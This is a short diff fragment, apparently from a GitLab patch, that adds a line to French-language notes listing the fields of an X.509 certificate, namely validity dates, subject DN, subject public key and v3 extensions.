+* **Validity** début fin de validité
 * **Subject name** **DN** identifié par le certificat
 * **Subject Public Key**
 * Extensions (ajouté en v3)
-- 
GitLab